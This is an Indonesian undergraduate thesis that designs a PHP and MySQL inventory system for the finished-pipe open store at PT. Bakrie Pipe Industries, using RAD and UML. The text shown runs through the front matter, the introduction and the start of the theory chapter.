Rancang bangun sistem inventory management open store pada PT. Bakrie Pipe Industries

(1)

i

RANCANG BANGUN SISTEM INVENTORY MANAGEMENT

OPEN STORE

PADA PT. BAKRIE PIPE INDUSTRIES

SKRIPSI

Disusun Oleh:

NASRULLAH NIM: 106093003117

JURUSAN SISTEM INFORMASI FAKULTAS SAINS DAN TEKNOLOGI

UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH JAKARTA


(2)

RANCANG BANGUN SISTEM INVENTORY MANAGEMENT OPEN

STORE PADA PT. BAKRIE PIPE INDUSTRIES

Skripsi

Sebagai Salah Satu Syarat untuk Memperoleh Gelar Sarjana Sistem Informasi

Fakultas Sains dan Teknologi

Universitas Islam Negeri Syarif Hidayatullah Jakarta

Oleh: NASRULLAH 106093003117

JURUSAN SISTEM INFORMASI FAKULTAS SAINS DAN TEKNOLOGI

UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH

JAKARTA 2014 M / 1435 H


(3)

iii


(4)

PENGESAHAN UJIAN

Skripsi yang berjudul “RANCANG BANGUN SISTEM INVENTORY

MANAGEMENT OPEN STORE PADA PT. BAKRIE PIPE INDUSTRIES”

yang dibuat oleh Nasrullah (106093003117) telah diuji dan dinyatakan lulus dalam siding Munaqosah Fakultas Sains dan Teknologi, Universita Islam Negeri Syarif Hidayatullah Jakarta pada hari rabu, 10 Juli 2013. Skripsi ini telah diterima sebagai salah satu syarat memperoleh gelar Sarjana Satu (S1) Program Studi Sistem Informasi.

Menyetujui,

Mengetahui, Dosen Penguji I

Zulfiandri, MMSI NIP 19700130 200501 1 003

Dosen Penguji II

Qurrotul Aini, MT NIP 19730325 200901 2 001

Dosen Pembimbing I

DR. Syopiansyah Jaya Putra, M.Sis NIP 19680117 200112 1 001

Dosen Pembimbing II

Zainuddin Bey Fananie, M.Sc NIP .-

Dekan Fakultas Sains dan Teknologi

DR. Agus Salim, M.Si NIP 19720816 199903 1 003

Ketua Jurusan Sistem Informasi

Zulfiandri, MMSI NIP 19700130 200501 1 003


(5)

v

v

PERNYATAAN

DENGAN INI SAYA MENYATAKAN BAHWA SKRIPSI INI BENAR – BENAR

HASIL KARYA SENDIRI YANG BELUM PERNAH DIAJUKAN SEBAGAI SKRIPSI ATAU KARYA ILMIAH PADA PERGURUAN TINGGI ATAU LEMBAGA MANAPUN.

Jakarta, Juni 2013

Nasrullah


(6)

ABSTRAK

Nasrullah (106093003117), Rancang Bangun Sistem Inventory Management Open Store Pada PT. Bakrie Pipe Industries. Dibawah bimbingan Syopiansyah Jaya Putra

dan Zainuddin Bey Fananie.

PT. Bakrie Pipe Industries Merupakan sebuah perusahaan yang bergerak di bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh PT. Bakrie Pipe Industries, pencatatan data pipa pun begitu kompleks. Belum lagi

mengenai data penerimaan dan pengiriman produk jadi (Finishing) di dalam

inventory open store. Saat ini sistem yang berjalan masih menggunakan program atau

software yang belum terintegrasi dengan software lainnya, seperti menggunakan

microsoft office dengan database menggunakan Microsoft excel sebagai penyimpan data dan kelemahannya seperti memerlukan waktu yang cukup lama untuk pengiriman surat perintah kerja, penyusunan laporan yang masih manual menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang segala kebutuhan yang diinginkan perusahaan. Dari permasalahan tersebut penulis

merancang dan membuat sebuah sistem inventory management open store sebagai

alat untuk memudahkan karyawan dalam hal pencatatan data pipa masuk atau keluar,

dan memudahkan manager untuk melihat laporan yang ada dalam open store yang

berhubungan tentang pipa masuk ataupun keluar. Metode pengembangan sistem

dalam penelitian ini menggunakan Rapid Application Development (RAD) dari tahap

scope definiton hingga tahap contruction & esting. Alat perancang yang digunakan

adalah Unified Modelling language. Perangkat lunak yang digunakan dalam

pembuatan sistem menggunakan PHP sebagai bahasa pemprograman, dan MySQL

sebagai database. Penelitian ini menghasilkan Sistem Inventory Management Open

Store PT. Bakrie Pipe Industries untuk mempermudah karyawan dalam pengolahan

data pipa didalam Open Store, baik berupa data pipa yang masuk ataupun keluar dari

Open Store serta data Pembeli.

Kata Kunci : Sistem Inventory Management, open store, RAD (Rapid Application Development), PHP, MySql, Bakrie Pipe Industries.

V Bab + xxv Halaman + 171 Halaman + 5 Simbol + 36 Tabel +54 Gambar + Daftar Pustaka + Lampiran


(7)

vii

vii

KATA PENGANTAR

Puji dan syukur penulis panjatkan kehadirat Allah SWT, karena hanya dengan Ridha dan Ijin- Nya penulis dapat menyelesaikan skripsi ini yang berjudul

“Rancangan Bangun Sistem Inventory Management Open Store pada PT. Bakrie Pipe

Industries”

Dalam penyusunan skripsi ini, penulis mendapatkan bimbingan dan bantuan baik segi moral dan material dari berbagai pihak. Oleh karena itu, pada kesempatan kali ini penulis mengucapkan terima kasih kepada:

1. Bapak DR. Agus Salim, M.Si, selaku Dekan Fakultas Sains dan

Teknologi, Universitas Negeri Syarif Hidayatullah Jakarta.

2. Bapak Zulfiandri MMSI, selaku Ketua Program Studi Sistem Informasi

Fakultas Sains dan Teknologi, Universitas Islam Negeri Syarif Hidayatullah Jakarta.

3. Bapak DR. Syopiansyah Jaya Putra, M. Sis selaku Dosen Pembimbing 1

yang telah banyak sekali membantu dan membimbing penulis dalam menyelesaikan skripsi ini.

4. Bapak Zainuddin Bey Fananie M. Sc selaku Dosen Pembimbing II yang

telah banyak sekali membantu dan membimbing penulis dalam menyelesaikan skripsi.

5. Bapak Riyadi Teguh M. Selaku Supervisor pada bagian Open Store

memberikan arahan dan informasi yang penulis butuhkan dalam pembuatan sistem ini.


(8)

6. Bpk. Rizki dan Bpk. Maulana selaku HRD PT. Bakrie Pipe Industries

yang sudah membantu penulis dalam mengumpulkan data – data tentang

perusahaan.

7. Almarhumah Enyak dan juga babeh yang kpingin banget lihat saya

wisuda , kakak dan keponakan – keponakanku tersayang yang selalu

memberikan dukungan dan doa bagi penulis dalam menyelesaikan skripsi.

8. Seseorang yang spesial (Zamiroh, SE) yang selalu mengingatkanku agar

lebih cepat dalam menyelesaikan skripsi dan sabar dalam menunggu gelar sarjanaku.

9. Sahabat- Sahabatku, Irwan, Hadadi, Anis, Hilman terima kasih banyak

atas bantuan dan dukungannya, dan sabat- sahabat lainnya yang terlalu bnayak penulis bila disebutkan satu persatu. Penulis mengucapkan banyak terima kasih.

10.Teruntuk Irwan dan Hilman yang telah banyak membantu dan

memberikan masukan – masukan kepada penulis dalam mengerjakan

skripsi ini.

11.Teman – teman seperjuangan SIC serta SIK 2006. Terima kasih untuk

semua kenangan terindahnya.

12.Dan seluruh pihak yang telah membantu penulis, baik langsung maupun

tidak langsung dalam menyelesaikan skripsi ini.

Penulis sadar bahwa penyusunan skripsi ini masih jauh dari kesempurnaan, oleh karena itu, penulis mngharapkan kritik dan saran yang bersifat membangun agar penyusun skripsi ini menjadi lebih baik lagi.


(9)

ix

ix

Akhir kata, penulis berharap skripsi ini dapat bermanfaat bagi semua pihak

terutama kawan – kawan Sistem Informasi UIN Syarif Hidayatullah Jakarta, baik

sebagai bahan karya tulis berupa informasi, perbandingan maupun dasar untuk penelitian materi lebih lanjut.

Jakarta, Juni 2013

NASRULLAH NIM :106093003117


(10)

DAFTAR ISI

Halaman Judul ... ii

Lembar Pengesahan Pembimbing ... iii

Lembar Pengesahan Ujian ... iv

Lembar Pernyataan ... v

Abstrak ... vi

KATA PENGANTAR ... vii

DAFTAR ISI ... x

DAFTAR GAMBAR ... xvi

DAFTAR TABEL ... xix

DAFTAR SIMBOL ... xxi

BAB I PENDAHULUAN ... 1

1.1 Latar Belakang ... 1

1.2Rumusan Masalah ... 2

1.3Batasan Masalah ... 3

1.4Tujuan Penelitian ... 4

1.5Manfaat Penelitian ... 4

1.6Metode Penelitian ... 5

1.7 Sistematika Penelitian ... 8

BAB II LANDASAN TEORI ... 9

2.1 Pengertian Rancang Bangun ... 9


(11)

xi

xi

2.3 Sistem Informasi ... 11

2.3.1 Sistem ... 11

2.3.1.1 Pengertian Sistem ... 11

2.3.1.2 Karakteristik Sistem ... 11

2.3.1.3 Klasifikasi Sistem ... 14

2.3.2 Informasi ... 15

2.3.2.1 Pengertian Informasi ... 15

2.3.2.2 Nilai dan kualitas Informasi ... 16

2.3.3 Sistem Informasi ... 19

2.3.3.1 Pengertian Sistem Informasi... 19

2.3.3.2 Komponen Sistem Informasi ... 19

2.3.3.3 Jenis Sistem Informasi ... 21

2.4 Manajemen ... 22

2.4.1 Pengertian Manajemen ... 22

2.4.2 Bentuk Kegiatan Manajemen ... 22

2.5 Persediaan (Inventory) ... 23

2.5.1 Pengertian Persediaan ... 23

2.5.2 Fungi Persediaan ... 24

2.5.3 Klasifikasi Barang Persediaan ... 25

2.5.4 Anjuran Persediaan dalam Islam... 28

2.6 Manajemen Persediaan (Inventory Management) ... 33

2.6.1 Pengertian Manajemen Persediaan ... 33


(12)

2.6.3 Pembagian Jenis Barang ... 36

2.6.4 Beberapa Hambatan Manajemen Persediaan ... 39

2.7 Database ... 42

2.7.1 Konsep Sistem Database ... 42

2.7.2Pengertian Sistem Database ... 43

2.7.3 Database Management System (DBMS) ... 44

2.8 Website ... 45

2.8.1 Pengertian Website ... 46

2.8.1.1 Web Statis ... 46

2.8.1.2 Web Dinamis ... 46

2.9 Jaringan Komputer ... 47

2.9.1 Pengertian Jaringan Kompter ... 47

2.10 Metodologi Penelitian ... 48

2.10.1 Metode Pengumpulan Data ... 48

2.10.1.1 Studi Pustaka ... 48

2.10.1.2 Studi Lapangan ... 48

2.10.1.3 Studi Literatur Sejenis ... 50

2.11 Metode Pengembangan Sistem... 50

2.11.1 Rapid Application Develompment (RAD) ... 50

2.11.1.1 Keunggulan RAD ... 51

2.11.1.2 Alur Proses Pengembangan Sistem ... 52

2.11.2 UML ... 53


(13)

xiii

xiii

2.12.1 Pemprograman PHP (Hypertext Preprocessor) ... 62

2.12.2 MySQL ... 65

2.12.3 Apache ... 66

2.12.4 Adobe Dreamweaver CS4 ... 67

2.12.5 Adobe Photoshop CS ... 67

2.12.6 Browser... 67

2.13 Pengujian ... 68

2.14 Literatur Sejenis ... 69

BAB III METODOLOGI PENELITIAN ... 74

3.1 Metode Pengumpulan Data ... 74

3.1.1 Studi Pustaka ... 74

3.1.2 Studi Lapangan ... 74

3.1.3 Wawancara ... 75

3.1.4 Studi Literatur Sejenis ... 76

3.2 Metodologi Pengembangan Sistem ... 76

3.2.2 Mendefinisikan Lingkup (Scope Definition) ... 77

3.2.3 Analisis Sistem (Analysis) ... 77

3.2.4 Perancangan Sistem (Design) ... 78

3.2.5 Implementasi Sistem ( Construction & Testing) ... 79

3.2.5.1 Pemrograman ... 79

3.2.5.2 Pengujian ... 79

3.3 Kerangka Penelitian ... 79


(14)

4.1 Sekilas Tentang Perusahaan ... 81

4.1.1 Gambaran Umum Perusahaan ... 81

4.1.2 Logo Perusahaan ... 82

4.1.3 Visi dan Misi Perusahaan ... 83

4.1.4 Struktur Organisasi ... 84

4.1.4.1 Struktur Organisasi Lanjutan PPIC Manager ... 85

4.2 Mendefinisikan Lingkup (Scope Definition) ... 87

4.3 Analisi Sistem ( Analysis) ... 88

4.3.1 Kelemahan Sistem yang Berjalan ... 88

4.3.1.2 Analisis Sistem Usulan ... 92

4.4 Perancangan Sisem (Design) ... 97

4.4.1 Use Case Diagram ... 97

4.4.1.1 Identifikasi Use Case ... 98

4.4.2 Use Case Scenario ... 101

4.4.2.1 Use Case Scenario login ... 102

4.4.2.2 Use Case Scenario manage user ... 103

4.4.2.3 Use Case Scenario input work order ... 104

4.4.2.4 Use Case Scenario input data pembeli ... 106

4.4.2.5 Use Case Scenario input pipa masuk ... 107

4.4.2.6 Use Case Scenario input pipa keluar ... 109

4.4.2.7 Use Case Scenario input reproduksi pipa ... 110

4.4.2.8 Use Case Scenario laporan pipa masuk ... 112


(15)

xv

xv

4.4.2.10 Use Case Scenario laporan reproduksi pipa ... 114

4.4.2.11 Use Case Scenario laporan pipa keluar ... 116

4.4.2.12 Use Case Scenario laporan work order ... 117

4.4.2.13 Use Case Scenario laporan stok pipa ... 118

4.4.2.14 Use Case Scenario cek barang ... 119

4.4.2.15 Use Case Scenario logout ... 120

4.4.3 Activity Diagram ... 121

4.4.4 Sequence Diagram... 135

4.4.5 Class Diagram ... 145

4.4.6 Tabel Database ... 146

4.4.7 Interface Design ... 153

4.5 Implementation System ... 162

4.6 Pengujian System ... 163

4.6.1 Uji Coba User admin _ OS ... 163

4.6.2 Uji coba user manager ... 165

4.6.3 Uji coba user Tallyman ... 167

4.6.4 Uji coba user marketing ... 169

BAB V KESIMPULAN DAN SARAN ... 170

5.1 Kesimpulan ... 170

5.2 Saran ... 171 DAFTAR PUSTAKA


(16)

DAFTAR GAMBAR

Gambar 2.1 Pemprosesan Data ... 10

Gambar 2.2 Strategi Rapid Application Development ... 51

Gambar 2.3 Use Case Model ... 57

Gambar 2.4 Activity Diagram ... 59

Gambar 2.5 Sequence Diagram ... 60

Gambar 2.6 Class Diagram ... 61

Gambar 2.7 Model 4 + 1 View ... 62

Gambar 3.1 Kerangka Penelitian ... 80

Gambar 4.1 Logo Perusahaan ... 83

Gambar 4.2 Struktur Organisasi pada PT. Bakrie Pipe Industries ... 84

Gambar 4.3 Struktur Organisasi Lanjutan PPIC Manager ... 85

Gambar 4.4 Rich Picture Sistem Inventory Open Store yang sedang berjalan ... 91

Gambar 4.5 Rich Picture Sistem Inventory Open Store yang diusulkan ... 93

Gambar 4.6 Use Case Sistem Inventory Management Open Store ... 101

Gambar 4.7 Activitydiagram untuk login ... 122

Gambar 4.8 Activitydiagram untuk manage user ... 123

Gambar 4.9 Activitydiagram untuk inputwork order ... 124

Gambar 4.10 Activity diagram untuk input data pembeli ... 125

Gambar 4.11 Activity diagram untuk input data pipa masuk ... 126

Gambar 4.12 Activity diagram untuk input data pipa keluar ... 128


(17)

xvii

xvii

Gambar 4.14 Activity diagram untuk laporan pipa masuk ... 130

Gambar 4.15 Activity diagram untuk laporan data pembeli ... 130

Gambar 4.16 Actiity diagram untuk laporan reproduksi pipa ... 131

Gambar 4.17 Activity diagram untuk laporan pipa keluar ... 132

Gambar 4.18 Activity diargam untuk laporan work order ... 133

Gambar 4.19 Activity diagram untuk laporan stok pipa ... 134

Gambar 4.20 Activity diagram untuk logout ... 135

Gambar 4.21 Sequential diagram login ... 136

Gambar 4.22 Sequential diagram inputwork order ... 136

Gambar 4.23 Sequential diagram input data pembeli ... 137

Gambar 4.24 Sequential diagram input pipa masuk dan keluar ... 138

Gambar 4.25 Sequential diagraminput reproduksi pipa ... 139

Gambar 4.26 Sequential diagram laporan pipa masuk dan keluar ... 140

Gambar 4.27 Sequential diagram laporan data pembeli ... 141

Gambar 4.28 Sequential diagram laporan reproduksi pipa ... 142

Gambar 4.29 Sequential diagram laporan work order ... 143

Gambar 4.30 Sequential diagram laporan stok ... 144

Gambar 4.31 Sequential diagram cek barang ... 145

Gambar 4.32 Class Diagram ... 146

Gambar 4.33 Design Interface menu login ... 153

Gambar 4.34 Design interface menu home ... 154

Gambar 4.35 Design interface menu manage user ... 155


(18)

Gambar 4.37 Design interface menu data pipa ... 156

Gambar 4.38 Design interface menu input data pipa keluar... 157

Gambar 4.39 Design interface menu input data pembeli... 157

Gambar 4.40 Design interface menu input reproduksi pipa ... 158

Gambar 4.41 Design interface menu input work order ... 158

Gambar 4.42 Design interface menu input pipa masuk ... 159

Gambar 4.43 Design interface menu laporan pipa keluar ... 160

Gambar 4.44 Design interface menu laporan data pembeli ... 160

Gambar 4.45 Design interface menu laporan stok pipa ... 161

Gambar 4.46 Design interface menu laporan work order ... 161


(19)

xix

xix DAFTAR TABEL

Tabel 2.1 Tipe Diagram UML ... 55

Tabel 2.2 Studi Literatur Sejenis... 69

Tabel 4.1 Analisi Perbandingan ... 94

Tabel 4.2 Identifikasi Actor ... 98

Tabel 4.3 Identifikasi Use Case ... 98

Tabel 4.4 Use CaseScenario login ... 102

Tabel 4.5 Use CaseScenario manage user ... 103

Tabel 4.6 Use CaseScenario input work order ... 104

Tabel 4.7 Use CaseScenario input data pembeli ... 106

Tabel 4.8 Use CaseScenario input data pipa masuk ... 107

Tabel 4.9 Use CaseScenario input data pipa keluar ... 109

Tabel 4.10 Use CaseScenarioinput reproduksi pipa ... 110

Tabel 4.11 Use CaseScenario laporan pipa masuk ... 112

Tabel 4.12 Use CaseScenario laporan data pembeli ... 113

Tabel 4.13 Use CaseScenario laporan reproduksi pipa ... 114

Tabel 4.14 Use CaseScenario laporan pipa keluar ... 116

Tabel 4.15 Use CaseScenario laporan work order ... 117

Tabel 4.16 Use CaseScenario laporan stok pipa... 118

Tabel 4.17 Use CaseScenario cek barang ... 119

Tabel 4.18 Use CaseScenario logout ... 120


(20)

Tabel 4.20 Database pembeli ... 147

Tabel 4.21 Database Reproduksi ... 148

Tabel 4.22 Database Stok ... 148

Tabel 4.23 Database Work Order ... 149

Tabel 4.24 Database User ... 150

Tabel 4.25 Database Level ... 150

Tabel 4.26 Database Jabatan ... 151

Tabel 4.27 Database Jenis ... 151

Tabel 4.28 Database Kota ... 152

Tabel 4.29 Database Provinsi ... 152

Tabel 4.30 Database Pegawai ... 153

Tabel 4.31 Uji Coba User Admin OS ... 163

Tabel 4.32 Uji Coba User Manager ... 165

Tabel 4.33 Uji Coba User Tallyman ... 168


(21)

xxi

xxi

DAFTAR SIMBOL

SIMBOL USE CASE MODEL DIAGRAMS

Simbol Arti

Actor

Use case

Association

Extends

Uses (includes)

Depends on

Inheritance

(Whitten, 2004)

Actor1

«extends»

«uses»

«uses» <<depends on>>


(22)

SIMBOL ACTIVITY DIAGRAM

Simbol Arti

Activity

Initiate Activities

Start of the Process

Termination of the Process

Synchronization Bar

Decision Activity


(23)

xxiii

xxiii

SIMBOL CLASS DIAGRAM

Simbol Arti

Class

Ket: 1 class name

2 attributes 3 behaviors Association

Agregation

Generalization

(Whitten, 2004)

Class 1

2 3


(24)

SIMBOL SEQUENCE DIAGRAM

Simbol Arti

Object

Lifeline

Messages

Messages (return)

Behaviors (operations)


(25)

xxv

xxv

SIMBOL OBJECT CLASS ASSOCIATIONS AND MULTIPLICITY

Simbol Arti

Pasti satu

Nol atau satu

Nol atau lebih

Satu atau lebih

Specific range

(Whitten, 2004)

Class1 Class2

1

Class3 Class4

Class1 Class2

0..1

Class1 Class2

0..*

Class3 Class4

*

Class1 Class2

1..*

Class1 Class2


(26)

(27)

1 BAB I PENDAHULUAN

1.1 Latar Belakang Masalah

PT. Bakire Pipe Industries merupakan sebuah perusahaan yang bergerak di

bidang manufacturing pipa. Pipa yang diproduksi merupakan pipa yang sekarang

sering kita jumpai, baik itu sebagai tiaang listrik, tiang telepon, konstruksi bangunan dan berbagai keperluan lainnya, pipa yang paling banyak di minati adalah pipa jenis API 5L dan ASTM sebagai alat untuk menyelesaikan suatu proyek seperti pertambangan minyak dan pembuatan suatu gedung perusahaan, sedangkan pipa

yang paling diminati untuk distributor adalah pipa jenis BS dan SNI, pipa jenis ini

berguna untuk kebutuhan pribadi dan rumah tangga seperti pipa untuk keran air,

listrik dan lain sebagainya yang akan dijual kepada distributor di pasar. Pipa yang

diproduksi mencapai 310.000 ton per tahun. Proses pembuatan pipa tersebut dimulai

dari penerimaan bahan dasar oleh bagian gudang (procurement), lalu diolah menjadi

produk setengah jadi, kemudian diolah menjadi produk jadi (finishing), setelah itu

dibawa ke inventory open store untuk disimpan dan dipisahkan antara pipa yang

sudah dipesan dan pipa yang dijadikan sebagai stok untuk dijual ke pembeli. Setelah semua proses selesai pipa siap untuk dipasarkan.

Open store merupakan suatu tempat yang digunakan untuk menyimpan pipa

jadi (finishing/ good pipe) yang telah diproduksi dan diperiksa oleh QAE (Quality

Assurance Environment) dengan mengecek kualitasnya berdasarkan surat LPPJ (Laporan pipa produk jadi) yang ada. Karena begitu banyaknya jumlah dan jenis pipa


(28)

yang diproduksi oleh PT. Bakire Pipe Industries, pencatatan data pipa dan jenisnya pun begitu kompleks. Belum lagi mengenai data penerimaan dan pengiriman produk

jadi (finishing) di dalam inventory open store.

Saat ini sistem yang berjalan masih menggunakan program atau software

yang belum terintegrasi dengan software lainnya, seperti menggunakan microsoft

office dengan database menggunakan Microsoft excel sebagai penyimpan data dan kelemahannya seperti memerlukan waktu yang cukup lama sekitar 2 jam bahkan bisa

lebih jika ada permintaan pesanan (work order) dari pelanggan yang cukup banyak,

untuk pengiriman surat perintah kerja, penyusunan laporan yang masih manual menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang segala kebutuhan yang diinginkan perusahaan.

Maka berdasarkan uraian sebelumnya, sangat menarik untuk melakukan

penelitian terhadap pengaturan sistem inventory barang pada perusahaan tersebut,

sehingga informasi yang dihasilkan cepat, tepat dan akurat. Oleh karena itu peneliti

mengambil tema “Rancang Bangun Sistem Inventory Management Open Store pada

PT. Bakire Pipe Industries”. Dengan metodologi Rapid Application Development

(RAD) dan tools yang digunakan adalah Unified Modelling Languange (UML),

Macromedia Dreamweaver dan database MySQL. Dengan demikian penulis

bermaksud membuat aplikasi ini agar dapat mempermudah pihak perusahaan.

1.2 Rumusah Masalah

Berdasarkan pengamatan penulis, identifikasi masalah yang terjadi saat ini adalah:


(29)

3

1. Aplikasi yang ada sekarang tidak terintegrasi antar yang satu dengan yang

lainnya, sehingga membutuhkan waktu lama sekitar 2 jam bahkan bisa lebih disaat banyaknya pesanan yang diminta oleh pelanggan untuk pengiriman

surat perintah kerja untuk memasukkan pipa tersebut ke dalam open store.

2. Penyusunan laporan yang masih manual menyebabkan kinerja perusahaan

menjadi terlambat, khususnya dalam hal penyimpanan pipa dan melihat

data-data pipa masuk ataupun keluar dari inventory open store.

Berdasarkan identifikasi masalah, maka perumusan masalah sebagai berikut:

Bagaimana membangun aplikasi sistem inventory open store untuk

memudahkan karyawan inventory open store dalam mengolah data produk jadi yang

dimiliki oleh perusahaan, dan menyajikan informasi laporan-laporan persediaan

barang jadi dengan yang dibutuhkan manager open store?

1.3 Batasan Masalah

Batasan permasalahan yang ada yaitu:

1. Ruang lingkup organisasi dari sistem yang dibuat adalah PPIC Manager

khususnya pada Inventory open store.

2. Sistem hanya mendata dan memberikan informasi tentang persediaan produk

yang masuk dari proses produksi sampai pengeluaran produk untuk dikirim atau diproses ulang ke dalam produksi, tidak sampai pada tahap transaksi penjualan.

3. Merancang dan mendesain sistem inventory management dengan metode


(30)

sampai dengan tahapan Construction & Testing dan Unified Modelling Language (UML) sebagai alat pemodelan dengan menggunakan beberapa

diagram yaitu use case diagram, activity diagram, sequence diagram, class

diagram.

4. Merancang sistem inventory management open store dengan menggunakan

bahasa pemrograman PHP yang dikoneksikan dengan database MySQL

dengan rancangan antar muka macromedia dreamweaver.

5. Sistem yang dibuat tidak membahas tentang keamanan data.

6. Metode Persediaan yang digunakan perusahaan adalah metode safety stock.

1.4 Tujuan Penelitian

Tujuan penelitian ini adalah:

1. Membuat suatu sistem inventory management open store yang user

friendly dan mengurangi pemakaian kertas sebagai media pencatatan

barang yang masuk dan keluar pada inventory open store.

2. Membuat sistem penyimpanan data mengenai jumlah stok barang jadi

setelah produksi yang dimiliki oleh perusahaan.

3. Membuat sistem informasi yang akurat, efisien dan efektif dalam

menyediakan laporan persediaan produk perusahaan.

4. Metode Persediaan yang digunakan perusahaan adalah metode safety


(31)

5

1.5 Manfaat Penelitian

Adapun manfaat dari penelitian ini antara lain:

a. Dapat mengaplikasikan dan membandingkan teori yang didapat diperkuliahan

dengan masalah yang sebenarnya di lapangan.

b. Membantu dan mempermudah tugas karyawan dalam melakukan

pengontrolan barang jadi.

c. Mengurangi kesalahan dalam pengolahan data, pencarian data dan keakuratan

dalam pembuatan laporan pipa masuk, pipa keluar, reproduksi pipa, dan lain sebagainya.

d. Dapat dijadikan referensi untuk bahan penelitian khususnya pada bidang

peminatan Sistem Informasi Koorporasi.

1.6 Metode Penelitian

Untuk memperoleh data yang dibutuhkan dalam proses penellitian, maka peneliti menggunakan beberapa metode dalam pengumpulan data yaitu:

a. Metode Pengumpulan Data

Metode pengumpulan data yang digunakan dalam penelitian ini adalah sebagai berikut:

(1) Studi Pustaka

Studi pustaka merupaka proses umum yang dilalui untuk mendapatkan teori terlebih dahulu. Peneliti mengumpulkan dan mempelajari buku-buku yang berhubungan dengan masalah yang diteliti.


(32)

Dalam studi lapangan ini, peneliti bermaksud untuk mendapatkan data dengan menggunakan dua tahap, yaitu:

a) Observasi

Mengamati secara langsung kegiatan yang ada di bagian inventory

open store guna mengetahui bagaimana alur kerjadan sistem informasi yang diterapkan.

b) Wawancara

Peneliti menanyakan beberapa pertanyaan kepada pihak-pihak yang terkait di PT. Bakire Pipe Industries untuk mendapatkan data-data.

(3) Studi Literatur Sejenis

Studi literature sejenis merupakan proses pengumpulan data dengan mengevaluasi penelitian yang terdahulu.

b. Metode Pengembangan Sistem

Dalam membangun sistem informasi manajemen open store metode yang

digunakan adalah metode Rapid Application Develeopment (RAD), RAD adalah

salah satu alternatif dalam melakukan pengembangan sistem. RAD adalah sebuah strategi pengembangan sistem yang menekankan kecepatan pengembangan melalui keterlibatan pengguna yang ekstensif dalam konstruksi, cepat, berulang dan bertambah serangkaian prototype, atau prototipe bekerja sebuah sistem yang pada akhirnya berkembang ke dalam sistem fina (atau sebuah versi). Dan dengan

model pendekatan UML (Unified Modelling Language). UML adalah bahasa

pemodelan yang dapat dikembangkan lebih lanjut ke dalam suatu bahasa program


(33)

7

pengembangan suatu case tools pengembangan sistem dan merupakan suatu

bahasa pemodelan untuk melakukan spesifikasi, visualisasi, konstruksi dan dokumentasi objek dalam pengembangan sebuah perangkat lunak/ sistem. UML bertujuan untuk melakukan permodelan terhadap pembuatan suatu sistem dengan

menggunakan konsep berorientasi objek (object oriented).

Dalam UML terdapat beberapa diagram yang dapat digunakan untuk

pembuatan desain pada sebuah aplikasi, yaitu use case diagram, activity diagram,

class diagram, sequence diagram.

1.7 Sistematika Penulisan

Demi tuntasnya pemecahan masalah secara kronologis dan sistematis, maka penelitian ini diatur dalam sistematika yang terdiri atas lima BAB yaitu:

BAB I : PENDAHULUAN

Dalam bab ini, dijelaskan tentang latar belakang masalah, perumusan masalah, batasan masalah, tujuan penelitian, manfaat penelitian, metode penelitian serta sistematika penelitian.

BAB II : LANDASAN TEORI

Dalam bab ini, berisi teori-teori umum mengenai teori-teori yang dipergunakan dalam perancangan sistem.

BAB III : METODE PENELITIAN

Dalam bab ini dipaparkan tentang metode yang peneliti gunakan dalam pencarian data maupun metode untuk pengembangan sistem yang dilakukan pada penelitian ini.


(34)

BAB IV : SISTEM INVENTORY MANAGEMENT OPEN STORE

Dalam bab ini berisi tentang gambaran umum perusahaan yang

meliputi sejarah singkat, visi dan misi, struktur organisasi PT. Bakire Pipe Industries, perancangan sistem, perancangan menu

tampilan menggunakan Macromedia Dreamweaver dengan bahasa

pemrograman PHP dan menggunakan MySQL sebagai database-nya

BAB V : KESIMPULAN DAN SARAN

Dalam bab ini terdiri atas kesimpulan yang dapat diambil dari penelitian tersebut dan juga kritik dan saran yang bersifat membangun sebagai langkah perbaikan dimasa datang.


(35)

9

BAB II

LANDASAN TEORI

2.1Pengertian Rancang Bangun

Perancangan/ rancang merupakan serangkaian prosedur untuk

menerjemahkan hasil analisa dan sebuah sistem ke dalam bahasa pemrograman untuk mendeskripsikan dengan detail bagaimana komponen-komponen sistem yang diimplementasikan. Sedangkan pengertian pembangunan/ bangun sistem adalah kegiatan menciptakan sistem baru maupun mengganti atau memperbaiki sistem yang ada baik secara keseluruhan maupun sebagian (Pressman, 2002).

2.2Data

Data secara ringkas dapat diartikan sebagai kumpulan fakta mentah yang ada dalam kehidupan. Data mencerminkan segala kejadian yang ada di dunia. Contohnya seorang siswa tersusun dari data-data berikut: Nama, Alamat, Nama Wali Murid, Hobi, Nilai dan seterusnya. Ciri lain dari data adalah data belum memiliki manfaat untuk manusia, karena data hanya berupa carikan-carikan kenyataan yang belum

disusun untuk memberikan manfaat (Akbar, 2006). Data merupakan bentuk jamak

dari bentuk tunggal datum. Data adalah kenyataaan yang menggambarkan suatu

kejadian-kejadian dan kesatuan nyata. Kejadian-kejadian adalah suatu yang terjadi pada saat tertentu di dalam dunia bisnis adalah perubahan dari suatu nilai yang disebut transaksi. Misalnya, penjualan adalah transaksi perubahan nilai barang menjadi nilai uang atau nilai piutang dagang. Dari definisi dan uraian tersebut dapat


(36)

disimpulkan bahwa daya adalah bahan mentah yang diproses untuk menyajikan informasi (Sutabri, 2005).

Untuk lebih jelasnya, lihat gambar berikut ini.

Gambar 2.1 Pemrosesan Data (Sutabri, 2005)

Mengenai pengertian data, lebih jelas apa yang didefinisikan oleh Drs. John J.

Lunkutoy tahun 2005 dalam bukunya “Pengenalan Komputer” sebagai berikut:

“Istilah data adalah suatu istilah majemuk yang berarti fakta atau bagian dari fakta

yang mengandung arti yang dihubungkan dengan kenyataan, symbol-simbol, gambar-gambar, angka-angka, huruf-huruf, atau symbol-simbol yang menunjukkan suatu ide, objek, kondisi, atau situasi dan lain-lain. Jelasnya data itu dapat berupa apa saja dan dapat ditemui dimana saja. Kemudian data adalah sebagai bahan dasar yang objektif (relatif) didalam proses penyusunan kebijaksanaan dan keputusan oleh pemimpin

organisasi”

Penyimpanan data

Informasi


(37)

11

2.3 Sistem Informasi

2.3.1 Sistem

2.3.1.1Pengertian Sistem

Sistem dapat diartikan sebagai sekelompok unsur yang erat hubungannya satu dengan yang lain, yang berfungsi bersama-sama untuk mencapai tujuan tertentu (Sutabri, 2005). Sistem juga dapat didefinisikan sebagai satu kesatuan yang terdiri dari dua atau lebih komponen atau subsistem yang berinteraksi untuk mencapai tujuan (Jogiyanto, 2002).

Suatu sistem dapat terdiri atas sistem-sistem bagian (subsyterm).

